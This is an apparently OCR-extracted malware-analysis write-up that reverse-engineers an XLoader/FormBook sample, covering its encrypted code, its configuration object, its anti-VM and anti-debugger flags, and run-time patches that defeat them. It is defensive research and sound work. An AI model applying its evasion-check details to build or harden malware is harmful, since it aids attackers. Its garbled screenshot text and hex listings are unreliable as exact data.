 ▷ file-header (executable > 32-bit) ▷ optional-header (subsystem > GUI) 	signature <u>tooling</u> <u>file-type</u>	n/a Visual Studio 2005 executable
▷ sections (count > 1)	<u>cpu</u> subsystem	32-bit GUI
····ᡚ libraries (n/a) ····ᡚ imports (n/a) ····⊡ exports (n/a)	file-version description	n/a n/a
thread-local-storage (n/a) 	stamps compiler-stamp	Mon Mar 05 07:27:53 2001 UTC
	debug > stamp	n/a
🏠 debug (n/a)	resource-stamp	n/a
manifest (n/a)	import-stamp	n/a
1.0 version (n/a)	export-stamp	n/a

- The start of malware is fairly simple, it loads some necessary libraries before going to the malicious • code
- It also performs some other kind of computations, probably decompressing some of its malicious • code
- After the calculations, I came across a call to edx which leads to an unidentified code ٠

	Process Monitor - Sysinternals: www.sysinternals.com							
🛄 🖆 🖼								
.text:005E17AE	File Edit Event Filter Tools Options Help							
.text:005E17AE loc_5E17AE:	D 🖯 🖸 🖸 V 🖉 🎯 🖧 🗲 🔎 🕂 📑 🚍 💂	- A 9						
.text:005E17AE mov edx, [ebp+var_40]		*V						
.text:005E17B1 push edi	Time Process Name PID Operation Path	Result						
.text:005E17B2 xor eax, eax .text:005E17B4 mov ecx, 0E8h ; 'è'	11:40: I dump.exe 1452 C Process Start	SUCCESS						
.text:005E17B9 lea edi, [ebp+var 3C0]	11:40: Indump.exe 1452 c Thread Create	SUCCESS						
.text:005E17B9 lea edx, [edx+215E0h]	11:40: I dump.exe 1452 c Load Image C:\Users\shaddy\Desktop\dump.exe	SUCCESS						
text:005E176F rea stord	11:40: Indump.exe 1452 clad Image C:\Windows\System32\ntdl.dll	SUCCESS						
.text:005E17C7 call edx : unk 1DFFFE	11:40: 💶 dump.exe 1452 🕫 Load Image C:\Windows\SysWOW64\ntdll.dll	SUCCESS						
.text:005EI/C/ Call Edx unt_IDITE	11:40: Tutal 1452 Reversed	SUCCESS						
.text:005E17CA xor eax, eax	11:40: 📧 dump.exe 1452 🎇 Create File C:\Users\shaddy\Desktop\dump.exe	SUCCESS						
.text:005E17CC mov esp, ebp	11:40: Indump.exe 1452 CreateFile C:\Windows\System32\ntdll.dll	SUCCESS						
.text:005E17CE pop ebp	11:40: Implexe 1452 CreateFile C:\Windows\SysWOW64\ntdll.dll	SUCCESS						
.text:005E17CF retn	11:40: Indump.exe 1452 TreateFile C:\Windows	SUCCESS						
reckerooser/en reen	11:40: Implexe 1452 Cad Image C:\Windows\System32\wow64.dll	SUCCESS						
	11:40: Triangle dump.exe 1452 and QueryNameInfoC:\Windows\System32\wow64.dll	SUCCESS						
	11:40: Indump.exe 1452 TreateFile C:\Windows\System32\wow64.dll	SUCCESS						
	11:40: Tridump.exe 1452 cc Load Image C:\Windows\System32\wow64win.dll	SUCCESS						
	11:40: Tutal dump.exe 1452 and QueryNameInfoC:\Windows\System32\wow64win.dll	SUCCESS						
	11:40: Indump.exe 1452 TreateFile C:\Windows\System32\wow64win.dll	SUCCESS						
,1809) (450,102) 000017C7 005E17C7: start+4E7 (Synchr		NAME NOT FOUND						
	11:40: 🎩 dump.exe 1452 🧱 Create File C:\Windows	SUCCESS						
	11:40: 🖬 dump.exe 1452 🧱 QueryNameInfoC:\Windows	SUCCESS						
8B EC 8B 4D 08 33 C0 38 01 74 0B 8D 64 24 00 U(1(M	11:40: 🖬 dump.exe 1452 📷 CloseFile C:\Windows	SUCCESS						
80 3C 08 00 75 F9 40 50 FF 75 0C 51 E8 0E 00 @€<	11:40: 🖬 dump.exe 1452 🛱 Load Image C:\Windows\System32\wow64cpu.dll	SUCCESS						
00 83 C4 0C 5D C3 12 AA 28 11 9A E3 4F 63 8DfÄ.	11:40: 🕩 dump.exe 1452 🐂 QueryNameInfoC:\Windows\System32\wow64cpu.dll	SUCCESS						
8B EC 53 56 57 33 FF 39 7D 10 76 4F 8B 55 08 U(15V	11:40: 🖬 dump.exe 1452 📷 Create File C:\Windows\System32\wow64cpu.dll	SUCCESS						
75 ØC 28 F2 8A 02 3C 41 72 35 3C 7A 77 31 3C (u.+o	11:40: 🖬 dump.exe 1452 📊 Create File C:\Users\shaddy\Desktop	SUCCESS						
76 04 3C 61 72 29 8A 1C 16 3C 5B 73 11 3A C3 Zv. <a< td=""><td>11:40: Indump.exe 1452 class lange C:\Windows\SysWOW64\kemel32.dll</td><td>SUCCESS</td></a<>	11:40: Indump.exe 1452 class lange C:\Windows\SysWOW64\kemel32.dll	SUCCESS						
23 0F B6 C8 0F B6 C3 83 C1 20 3B C8 EB 14 3A t#.9È	11:40: 🖬 dump.exe 1452 🐂 QueryNameInfoC:\Windows\SysWOW64\kernel32.dll	SUCCESS						
	11:40: Indump.exe 1452 CreateFile C:\Windows\SysWOW64\kernel32.dll	SUCCESS						
1040: sub_5E1030+10	11:40: Indump.exe 1452 C:\Windows\SysWOW64\KemelBase.dll	SUCCESS						
	11:40: 📧 dump.exe 1452 🐂 QueryNameInfoC:\Windows\SysWOW64\KernelBase.dll	SUCCESS						
v	11:40: Transformed and the second	SUCCESS						
aded C:\Windows\System32\wow64cpu_dll								

aded C:\Windows\System32\wow64cpu.dl1
aded C:\Windows\SysWOW64\KERNEL32.DLL
aded C:\Windows\SysWOW64\KERNEL8ASE.dl1
aded C:\Windows\SysWOW64\KERNEL8ASE.dl1

- The "call edx" instruction moves the program flow to a set of native assembly which is unidentified by IDA at this moment
- This means that, the code to which edx register now points was not understood by IDA which indicates that it might be encrypted at first
- From there the execution of real formbook payload starts

```
.text:006025E4 dd 9F663DC1h, 3970D06Bh, 33036615h, 84F18000h, 7B992D01h, 0E8C3059Ah, 0
     .text:006025E4 dd 8855C358h, 0FD7B45ECh, 467B15C1h, 80B7D392h, 1D0312F4h, 825B1603h, 635ED9B8h
     text:006025E4 dd 9A0D850Bh, 0C2106547h, 0E8C3EAADh, 0, 8B55C358h, 9D2D19ECh, 7CB949C3h
     .text:006025E4 dd 7C3569F8h
EDX<sup>D</sup> .text:00602DE4 dd 0E1581FB0h, 7F000027h, 7F2D69ECh, 0F82FE3B6h, 300000D7h, 0EAB30805h
     .text:00602DE4 dd 0DD25C101h, 0B946C102h, 0C6993523h, 33427E94h, 0AC03352Dh, 343DC001h
     .text:00602DE4 dd 4DE518C3h, 47CA0D28h, 0C04135E5h, 0E50E105h, 350155CDh, 892A51D9h, 5E6625C1h
     .text:00602DE4 dd 8122391Ch, 46F2D5F9h, 353D2393h, 8BBB7D55h, 6D61CE15h, 16158760h, 0AB9341D5h
     .text:00602DE4 dd 1AC1EA81h, 3532F045h, 8C99FE2Ah, 51000DC0h, 0C19FFBFFh, 21A0FC1Dh, 19BEDFF5h
     .text:00602DE4 dd 2163080Bh, 7C87353Dh, 953D2954h, 4A6A5A6Fh, 3EF32D0Bh, 2503AEE7h, 84D994BDh
     .text:00602DE4 dd 27F9DEA9h, 0E03DC093h, 3342B71Ch, 0DFC4FE81h, 0E8C3D86Ch, 0, 8B55C358h
     .text:00602DE4 dd 0FAE84BECh, 81FFFFFh, 9C74E8DBh, 25C19046h, 10D6CF96h, 0A0DC8040h
     .text:00602DE4 dd 3B1A87BAh, 27051174h, 4A1CC476h, 13DA73A6h, 0A4E9732Dh, 1D1A524Bh, 58E0891Ch
     text:00602DE4 dd 446B2D69h, 0E77041C5h, 2D8A0000h, 9CF2C70Ah, 143C05C0h, 0B7861BDh, 4F50952Dh
     .text:00602DE4 dd 61D8729h, 0E8EDA5D8h, 0FFFFFA5h, 6175E815h, 3D094A33h, 79E11D66h, 0AA690569h
     .text:00602DE4 dd 459F4154h, 1DC10000h, 2799628Ch, 0C635005Fh, 1C9905Fh, 7192EB25h, 2DC057E8h
     .text:00602DE4 dd 0EAC9B3B0h, 0BC2D13DFh, 0E8285549h, 0FFFFFF69h, 1EE80D09h, 830F9379h
     text:00602DE4 dd 0FFFFF5Dh, 17730587h, 350AD331h, 433B4722h, 80083588h, 2D1B6A5Eh, 5A45B1C8h
     .text:00602DE4 dd 94C2F75Fh, 0B0679E15h, 2D87AEF2h, 340A8016h, 6E71528h, 3D1B45C7h, 3F6D906Dh
     .text:00602DE4 dd 0FF23810Fh, 0FC81FFFFh, 0FE4E6671h, 621125C1h, 0C01EF6F2h, 8868F625h
     .text:00602DE4 dd 3D194965h, 3DCAB925h, 0FEFF25C1h, 30224A23h, 14DCE605h, 80D1A25h, 0C1FC8B30h
     .text:00602DE4 dd 46FC872Dh, 5A508FAAh, 0F9553735h, 0CD2D8741h, 0FB60436h, 0FFFEDC81h
     .text:00602DE4 dd 7168FFh, 1DC11331h, 0F7C58F83h, 293511CDh, 29B79018h, 56D68D0Dh, 0FD1533B3h
     .text:00602DE4 dd 4FA47F28h, 73E3050Ah, 15C14728h, 2CC1B792h, 3D3DC111h, 3427939Bh, 0C1F83D23h
     00022DE4 00602DE4: .text:00602DE4 (Synchronized with EIP)
O Hex View-1
005E1000 55 8B EC 8B 4D 08 33 C0 38 01 74 0B 8D 64 24 00 U(ì(M.3À8.t..d$.
005E1010  40 80 3C 08 00 75 F9 40  50 FF 75 0C 51 E8 0E 00  @€<..uù@Pÿu.Qè..
005E1020 00 00 83 C4 0C 5D C3 12 AA 28 11 9A E3 4F 63 8D
                                                           ..,fÄ.]Ã.ª(.šãOc.
005E1030 55 88 EC 53 56 57 33 FF 39 7D 10 76 4F 88 55 08 U(1SVW3ÿ9}.vO(U.
005E1040 88 75 0C 28 F2 8A 02 3C 41 72 35 3C 7A 77 31 3C (u.+òŠ.<Ar5<zw1<
005E1050 5A 76 04 3C 61 72 29 8A 1C 16 3C 5B 73 11 3A C3 Zv.<ar)Š..<[s.:Ã
005E1060  74 23 0F B6 C8 0F B6 C3  83 C1 20 3B C8 EB 14 3A  t#.9È.9Ã∱Á∙;Èë.:
```

- IDA resolves this chunk of assembly at run-time to continue debugging this dump.
- This is one of the many anti-analysis techniques added in the xloader payload.


.text:005E17BF lea edx, [ec .text:005E17C5 rep stosd	x+215E0h]	
<pre>.text:005E17C7 call edx ; ur .text:005E17C9 pop edi .text:005E17CA xor eax, eax .text:005E17CC mov esp, ebp .text:005E17CE pop ebp .text:005E17CF retn</pre>	IDA has an addr Would y	n X detected that EIP points to ress which is not defined as code. you like to directly create an instruction at EIP ? t display this message again
		Yes No

After going through the newly resolved chunk of code, my program exited without doing anything else. I understood that there are anti-analysis techniques involved in this malware. So, my battle started with defeating anti-analysis techniques provided in the section below.

Defeating Anti-Analysis:

TAKE # 1: FAILED

- In first take, I simply changed the jump condition to divert the program from exiting the malware to continue with the actual program flow
- Changed the zero flag from 1 to 0 which sets the condition appropriately to let the program continue




- It continues the program, however it throughs exception right after stepping over a few functions.
- This patch will not work
- The malware is dependent upon the values that this flag is setting somewhere

xt:005FF	D42	call	loc_5F0103					
xt:005FF	D47	add	esp, 4					
xt:005FF	D4A	test	eax, eax					
xt:005F		Warning						×
xt:005F	31		1					
xt:005F			TI · · · · · · · · · · · · · · · · · · ·		0 0 TI			
xt:005F		0:	The instruction at 0x	referenced memory at	0x0. The memor	y could not b	be	executed -> 00000000 (exc.code c0000005, tid 5924)
xt:005F	_	<u> </u>						
xt:005F								
1FD1C 0								ОК
L						,	JL	S

TAKE # 2: FAILED

The configuration object:

- Xloader payload initializes a configuration object on which it bases most of its execution flow
- The configuration obj is initialized with FFFFFFF value and after that each function contributes to it.
- Some encrypted values are pushed onto this configuration object.




- The first function, saves lots of encrypted strings or hash codes. The purpose of these will be cleared later on in the execution
- Next to FF values, the base address of executing malware is saved
- On the third line another address is stored which is actually the address of LdrLoadDII function from ntdll. This will be used to laod further libraries

Pseudocode-A 🛛 📘	Pseudocode-B 🛛	_ & ×
 <pre>1Charcdecl sub_SEBE63(int al) 2{ 3 int v1; // eax 4 int v2; // eax 5 int v4; // eax 6 7 *(_DWORD *)(al = -1; 8 *(_DWORD *)(al + 20) = sub_SFCF13(al); 9 *(_SWOS *SCDE3(); 9 *(_SWOS *SCDE3(); 9 *(_SWOS *SCDE3(); 1 f (1+1) 1 return 0; 1 *(_SWOS *SPE53(al, 115); 1 f (1+1) 1 *(_DWORD *)(al + 180) ^* *(_DWORD *)(al + 4); 1 *(_DWORD *)(al + 180) ^* *(_DWORD *)(al + 4); 1 *(_DWORD *)(al + 12) = v4; 2 if (1+4) 1 *(_DWORD *)(al + 57) = sub_SEB0E3() > 768; 3 wub_SEB0E3(al); 3 rub_SEB0E3(al); 5 wub_SEB0E3(al); 5 wu</pre>	Malware Base Address AB EC 0F 01 A4 EC 0F 01 B F H E3 105 2001 B F H E3 105 2001 B 06 00 00 00 00 00 00 00 00 00 00 00 00	1. H1X. yyyyä.^ of ew.
0000BE63 sub_5EBE63:9 (5EBE63)	UNKINOWN 010FECA0: Stack[00001E04]:010FECA0 (Synchron	nized with ESI)

- I stepped over each function and monitored changes in memory side by side.
- Every function is contributing to the conf obj.

- The function in the screenshot below is loading a clean ntdll in the memory and saves it address on the conf obj
- Also, it is setting value in anti-vm flags that starts from the 45th element of the conf obj.
- The address of injected ntdll in memory starts on **0x1950000** and similarly in the 4 bytes after 24th element we have the address of injected ntdll saved.
- The flag value of 1 is also set in anti-vm flags.



- Continuing with the execution.
- It checks other anti-vm checks
- Like taking snapshot of running processes and filtering out if any of those processes are listed by the malware
- In the screenshot, we can see that it detected **procmon** in running processes

Address	Length	Result
0xdfe744	54	\Windows\SysWOW64\ntdll.dll
0xdfeb00	58	C:\Windows\SysWOW64\ntdll.dll
0x10fe808	11	procmon.exe
0x10fe94c	22	svchost.exe
0x10feb54	11	Procmon.exe
0x10feee3	10	{3]l:JW*h
0x1110b3c	80	C:\Program Files\IDA Pro 7.5 SP3\ida.exe

• After performing some of the anti-vm checks, it updated the flags on anti-analysis bytes as shown in screenshot below:

	IDA View-EIP	×	Pseudocode-A,	Hex View-1		×					
📳 Ps	eudocode-A			Anti-	đ ×	O Hex View-1					đ×
1	charcdecl sub_SEBE63(int a1)			Analysis			F FF E3 1D 5E 00 1 77 E3 1D CB 01				
2	int v1; // eax			1 - C			0 00 00 70 60 77				
4	int v3; // eax			Flags		CD0 00 00 0	1 00 01 01 02 00	00 00 00 00 0	00 00 00	•	
5	int v4; // eax						0 00 00 00 00 00 5 38 63 01 67 54			pc.8c.gT.&.	Deken
• 7	*(DWORD *)a1 = -1;	<pre>// Initializing configur</pre>	ation obj with FFF	FFFFF values			5 58 77 0B 27 B1			uXw.'±3pŸ	
• 8	*(_DWORD *)(a1 + 20) = sub_5FCF13((_DWORD *)a1			s onto conf o	bj		A 53 F7 71 E9 73			_óÊS÷qés.Û@	
9 10		<pre>// pushes address of ntd</pre>	11 onto conf obj				7 04 3B 2E C0 E2 3 42 99 43 0F EC	8D 3E 9E ED D B8 82 3C 75 5		à÷ç.;.Àâ.>ž IÕÓB™C.ì<	
• 11	(1 + 3) = 1						B 78 7A D6 31 DD	A6 56 71 C3 9		þõKxzÖ1Ý Vo	
• 12							5 88 A6 CC 8B 90			e^ Ì<þ	
13	<pre>*(_BYTE *)(a1 + 56) = sub_5EB9E3() > 768; v3 = sub 5F95A3(a1, 115);</pre>						A 49 01 96 B8 75 A 77 BE C2 77 7E			lzI u.u⊧ š!≌w%Âw~¹îč	
• 15		// Checks some condition	s and make changes	in anti-vm b	ytes		3 6C A9 3F 29 39			!0.1@?)9ø·1	
16							F 97 3B 82 BF 2E			5 5, (-5\$.	
1718		;					7 C6 EF 5F 97 EA 4 E7 E1 C3 23 B5			ÿ?•Æï_—ē.ör ≧ÒÔcáÄ#u.Z.	
19							3 D1 8E 97 A3 39)ŇŽ-£99j'	aœ 🔍
20							0 92 5E 86 71 28	DB 42 2A 98 B		.0°'^†q(ÛB*	
 21 22 		<pre>// Loads clean ntdll and</pre>	injects it in mem	ory. Also sav	es its a		1 97 E9 08 76 C1 8 54 70 56 67 02			<pre> <ÒQ-é.vÁê*ä Âô(TpVg.t;c</pre>	
23	return 0;						C EA 1F CØ A3 30			á.⊣ê.À£0%º.	
24							0 49 F2 1B 57 1F				
 25 26 		// Checks running proces	ses and make decis	ions on flags			0 43 C9 42 C3 E8 6 EB 28 7D 9C 2C			.j€CÉBÃèPC Ôâ.ë(}œ.".ä	
• 27	sub_5EB893(a1);	// circeits running proces	Ses and make acces	10005 000 11085		E40 55 53 E	C 01 82 D8 44 CD			USì.,ØDÍz-'	ÑNN
28							7 0B A9 08 88 CE			ã5G.©.^ά.Â	
 29 30 		<pre>// Checks anti-vm flags</pre>	and returns either	0 or 1			0 C0 A1 9F A4 5F 7 B8 6F AD 1F 3C	1A 1D E6 51 7 43 D7 17 A8 C		õhĐÀ;Ÿ¤a →o. <c×."< th=""><th></th></c×."<>	
	,					E80 D9 55 D	F E7 4C 91 C3 51	90 42 FE 95 1	98 89 DB	ÙUB¢L 'ÃQ.B¢	o•.~‰Û
						E90 F0 29 B	0 91 68 31 CA 21	70 25 27 64 6	5 CE FØ 7E	ð)°'h1Ê!p%'	dfĪð∼
	0000BE8B sub_5EBE63:29 (5EBE8B)					UNKNOWN 010F	ECA0: Stack[0000	LE04]:010FECA0	(Synchroniz	ed with ESI)	~
	<				>	<					>

- The last function is matching the anti-vm flags with the sequence it requires to progress.
- As can be seen in the screenshot, my sequence doesn't match to what it should be,
- It means the malware has either **detected the debugger** or tools like **procmon** or some other parameter
- Therefore, the program exits.

E Pseudocode-A		ð ×	x 🖸 Hex View-1 🗆 🗗 🗴
Pseudocode-A 1 BOOLccdecl sub_SE9433(_BYTE *a1) 2{		<u> </u>	CA0 Image: F FF FF FF E3 1D 5E 00 00 00 4F 01 01 00 00 00 00 00 00 00 00 00 00 00
			DF0 C2 F4 28 54 70 56 67 02 74 38 71 FC 26 81 AE AA Åô(TpVg,t;qü&. [⊕] E00 E1 12 AC EA 1F C0 A3 30 BE BA 18 (4 A7 7E 29 80 á€.Å£6%,Å5,Å; E10 D0 11 04 06 18 F7 16 F2 86 F5 65 F2 76 76 F6 F6 F6 F2 76 76 76 76 76 76 76 76 76 76 76 76 76

- So, in take # 2 of defeating anti-reverse engineering or anti-vm techniques, I simply patched the sequence of these flags in the memory to the required sequence.
- Patching memory, and moving onto the execution should work, because these flags are being used somewhere ahead in the program. So, simply changing the conditional jump would always crash the program.
- However, in case of memory patch, these values would be continued in the program and this issue should be fixed.

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- Patched the memory and now it goes back to the condition which is true
- However, something is wrong here.
- Because the names of the dll being searched is very weird.

- Now I understand, that these sequences of bytes are being used in a decryption algorithm to decrypt the names of libraries and APIs.
- But since I patched the bytes in memory, it should have been able to decrypt accurately which it is not. That means that the sequence is used somewhere else before performing the anti-analysis check.

	Pseudocode-A	Pseudocode-B	× E P	seudocode-C	Hex View-1			
1 0 2 3 4 • 5 • 6 7 • 8 • 9 • 10 11	<pre>charcdecl sub_SEBF13({ char result; // al result = sub_SEBE63(al) f (result) { sub_SEBF03(al); sub_SEBF03(al); sub_SEBF03(al); sub_SEBF03(al); } }</pre>	int al)			010FEC60 C0 EC 0F 0 010FEC70 A0 EC 0F 0 010FEC70 A0 EC 0F 0 010FEC30 A0 EC 0F 0 010FEC30 A0 EC 0F 0 010FEC40 01 00 00 61 7 010FEC50 00 00 00 61 7 010FECC0 00 00 00 61 0 010FECC0 00 00 00 61 0 010FECF0 70 63 05 3	1 00 F0 F6 00 2 1 E0 12 5E 00 0 1 A4 EC 0F 01 0 1 A4 EC 0F 01 0 7 F3 1D CB 01 0 0 01 00 01 00 0 0 01 00 00 00 00 0 04 00 00 00 00 0 63 01 67 54 0	00 00 95 01 00 40 AF 01	À1è0Ť1 ^ 1ð8.^1 1å.^.+ yyÿÿä.^0.
12	<pre>return result; }</pre>	Process Monitor - Sysi	nternals: www.sysintern	als.com				
		File Edit Event Filte	r Tools Options H	Help				
		08.00	Ì 🝸 💋 🎯	ᄮᅯ 🐓 ᄵ ↗│ 🚅 🖬 🖵 🕉 🕰				
		Time Process Name	PID Operation	Path		Result	Detail	
		2254. To dump exe 2254. To dump	1055 CreateFile 1055 CreateFile 1056 CreateFile	C:\Liper \ahad\yDestcop \n' wkig2:SUskLDLL C:\Windows \system \n' wkig2:SUskLDLL C:\Windows \nivkig2:SUskLDLL C:\Liper \ahad\yDestcop \n'vkig2:SUskLDLL C:\Liper \ahad\yDestcop \n'vkig2:SUskLDLL C:\Pogram Dist chocolatey \n'vkig2:SUskLDLL C:\Pogram Files (k86):Common Files \Oracle \Java \javapath \n C:\Pogram Files \Solder\Solder \n'vkig2:SUskLDLL C:\Windows \SyMOWSA4:Wbem n'vkig2:SUskLDLL C:\Windows \SyMOWSA4:Wbem n'vkig2:SUskLDLL C:\Windows \SyMOWSA4:Wbem n'vkig2:SUskLDLL	rget_268984\n`wkji2\9Usk@DLL	PATH NOT FOUND PATH NOT FOUND	Desired Access: R Desired Access: R Desired Access: R Desired Access: R Desired Access: R Desired Access: R Desired Access: R	
L	0000BF13 sub_5EBF13:9 (5	2:25:4 • dump.exe 2:25:4 • dump.exe	1056 R CreateFile 1056 CreateFile	C:\Windows\SysWOW64\OpenSSH\n`wkji2\9UskLDLL C:\ProgramData\chocolatey\bin\n`wkji2\9UskLDLL		PATH NOT FOUND PATH NOT FOUND	Desired Access: R	
O Sta 10FEC	80 010FECA0 Stack[000	2:25:4 • dump.exe 2:25:4 • dump.exe 2:25:4 • dump.exe 2:25:4 • dump.exe 2:25:4 • dump.exe	1056 🐂 CreateFile 1056 🐂 CreateFile 1056 🐂 CreateFile 1056 🐂 CreateFile	C:\Program Files\010 Editor\n`wikij2\9UsktlDLL C:\Program Files\00penJDK\ydk<21.0.1\bin\n`wikij2\9UsktlDLL C:\Ugen\baddy\AppDats\Local\Microsoft\WindowsApps\n`v C:\Tools\Cmder\n`wikij2\9UsktlDLL	vkji2\9Usk1.DLL	PATH NOT FOUND PATH NOT FOUND PATH NOT FOUND PATH NOT FOUND		


- I let the malware continue and again it crashed, because it was not able to decrypt its configuration and hence looking for encrypted dll names.
- So that means, I might be missing some important function and because it is detecting the debugger, it would be skipping some important function.

👷 Warning	×
0: The instruction at 0x0 referenced memory at 0x0. The Don't display this message again (for this session only)	e memory could not be executed -> 00000000 (exc.code c0000005, tid 7684)
	OK
	1 97 E9 08 76 C1 EA 2A E4 FE F0 EC 6C 28 (0Q-é.vAê*ä) 8 54 70 56 67 02 74 3B 71 FC 26 81 AE AA Åô(TpVg.t;qi D

TAKE # 3: PASSED

- In third take, I have debugged a lot of the code and finally, found the function over which the program was skipping because of a single flag condition not being met.
- So, I changed the values of condition to allow it to execute as well as changed the value of register that was being pushed to the **conf obj**.
- In my environment, there were always 3 flags that were changed. The value on the third element was 0 however it should be 1, and the two elements at 11,12th position.

- I also know that those two were changed because of procmon and other such analysis tools. So, it is easier to just change the name of procmon and continue.
- Instead of applying memory patches, I have changed the values at run-time before they were
 pushed onto the memory stack and voila, the malware executed perfectly without any
 exceptions.




- Now this time, I stepped over the function that loads libraries and instead of encrypted names, the full names of libraries have been seen and successfully loaded as can be seen in procmon.
- I let the program continue without any other interaction and the debugger exited with status code 0, which means now there is no exception.
- However, it still hasn't performed all the functionality which indicates there are more antianalysis techniques ahead.

Debugger Lumina Options Windows H	lelp										
a 🐴 🖡 🔊 🔺 🗖 🔺 🗸	- 🖈 🖬 🗙 🕨 💷 🗖	Local Windows debugge	- 🔹 🐮 🚼 🚼	• 🛒							
	nal symbol 📕 Lumina function										
lebug View	A	Structures				Enums		×			
		×			O Hex View-1				🗙 👿 Genera	al registers	
.text:005EBF20 pp .text:005EBF25 pp .text:005EBF25 pp .text:005EBF25 pp .text:005EBF26 pp .text:005EBF29 petn .text:005EBF29 petn .text:005EBF20 p	ext:005EBF30 push 38h ext:005EBF32 push esi ext:005EBF33 call sub	5588603 ; *8* 5558FF03 5, 0Ch 1	Process Monitor - Sys File Edit Event Filt	internals: www.sysint er Tools Options	1332.62 00 00 54 0133.62.67 00 00 00 00 133.52.60 FP D.0 55 133.52.00 00 100 133.52.60 00 00 00 00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 100 113.52.00 00 113.52.00 00 113.52.00 00 100 113.52.00 113.52.00 00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 113.52.00 </td <td>01 00 40 8A 01 77 00 00 01 01 00 00 00 00 00 99 8A 48 71 34 C8 7D 63 06 38 E5 48 12 88 38 ED 33 20 11 A1 75 53 D7 0A D2 C3 91 0C 26 E4</td> <td>0 6 6 7 6 3 D 5 0 0 1 0 0 1 0 0 1 0 0 1 0</td> <td></td> <td>EBX 01003 ECX 76013 EDX 01331 ESI 01331 EDI 01331 EBP 01331 ESP 01331</td> <td>E888 • Stack[000011] EAD8 • Stack[000011] F980 • Stack[000011] EAC0 • Stack[000011] EAB8 • Stack[000011] BF30 • sub_5E8F13+1]</td> <td>]:010C9000 D8]:0133E0 D8]:0133E0 D8]:0133E0 D8]:0133E0 D8]:0133E0 D8]:0133E0</td>	01 00 40 8A 01 77 00 00 01 01 00 00 00 00 00 99 8A 48 71 34 C8 7D 63 06 38 E5 48 12 88 38 ED 33 20 11 A1 75 53 D7 0A D2 C3 91 0C 26 E4	0 6 6 7 6 3 D 5 0 0 1 0 0 1 0 0 1 0 0 1 0		EBX 01003 ECX 76013 EDX 01331 ESI 01331 EDI 01331 EBP 01331 ESP 01331	E888 • Stack[000011] EAD8 • Stack[000011] F980 • Stack[000011] EAC0 • Stack[000011] EAB8 • Stack[000011] BF30 • sub_5E8F13+1]]:010C9000 D8]:0133E0 D8]:0133E0 D8]:0133E0 D8]:0133E0 D8]:0133E0 D8]:0133E0
.te .te	xt:095EFF3F sub_5EFF13 xt:095EFF3F sub_5EFF13 xt:095EFF3F hronized with EIP)	endp	Time Process Name 18.0	PID Operation 2060 Code Image 2060 QueryNan 2060 CreatFile 2060 QueryNan 2060 QueryNan	Path pc C.Windows/Sysh C.Windows/Sysh C.Windows/Sysh pc C.Windows/Sysh pc C.Windows/	VOW64 ¹ advapi32.dl VOW64 ¹ advapi32.dl VOW6 ⁴ advapi32.dl VOW6 ⁴ 1msvct.dl VOW6 ⁴ 1msvct.dl VOW64 ¹ msvct.dl VOW64 ¹ sechost.dl VOW64 ¹ sechost.dl VOW64 ¹ sechost.dl VOW64 ¹ sechost.dl VOW64 ¹ ypct.dl VOW64 ¹ ypct.dl	•	Result SUCCE SUCCE SUCCE SUCCE SUCCE SUCCE SUCCE SUCCE SUCCE SUCCE	555 1 555 1	Detail mage Base: 0x769 Valame: WMndows \ Desired Access: G mage Base: 0x76c Name: WMndows \ Desired Access: G Tirread (D: 3312 mage Base: 0x767 Valen: WMndows \ Desired Access: G Desired Access: G	

📃 Output wi	ndow
77645940:	thread has started (tid=3172)
	loaded C:\Windows\SysWOW64\RPCRT4.dll
77645940:	thread has started (tid=4144)
75560000:	loaded C:\Windows\SysWOW64\user32.dll
77290000:	loaded C:\Windows\SysWOW64\win32u.dll
	loaded C:\Windows\SysWOW64\GDI32.dll
768D0000:	loaded C:\Windows\SysWOW64\gdi32full.dll
77480000:	loaded C:\Windows\SysWOW64\msvcp_win.dll
767B0000:	loaded C:\Windows\SysWOW64\ucrtbase.dll
76020000:	loaded C:\Windows\SysWOW64\IMM32.DLL
Debugger:	thread 4144 has exited (code 0)
Debugger:	thread 3172 has exited (code 0)
Debugger:	process has exited (exit code 0)

I found a very good resource, that explains all the flags that previous formbook version looked for in its analysis. Luckily in the latest xloader, it is still using a similar approach and we can map those flags easily. The following slide shows all the anti-analysis flags that the xloader uses in its configuration.

Checking anti-analysis tests results



- 1. WOW32 Reserved hook
- 2. Software debugger
- 3. Kernel debugger
- 4. Blacklisted base file name
- 5. Blacklisted username
- 6. Blacklisted username
- 7. Blacklisted loaded module path
- 8. Blacklisted loaded module path
- 9. Blacklisted running process
- 10. Blacklisted running process
- 11. Blacklisted loaded DLL

5.16

 Reference:
 https://www.botconf.eu/botconf-presentation-or-article/in-depth-formbook-malwareanalysis/

Decryption/Deobfuscation Routine:

Xloader relies heavily on encryption and obfuscation to avoid being detected from EDR solutions. There is multi-layered encryption performed on its code. The APIs are all hashes, the string and libraries are also hashes. Even the hashes are encrypted in the conf obj. The core functions of xloader are all encrypted and decrypted at run-time after anti-analysis checks are cleared.


Decrypting Library Names:

- The decryption routine starts, I stepped through the next function after anti-vm checks have been cleared and it looks like the anti-vm flag bytes are used as decryption seed value.
- The library names are being decrypted one by one.

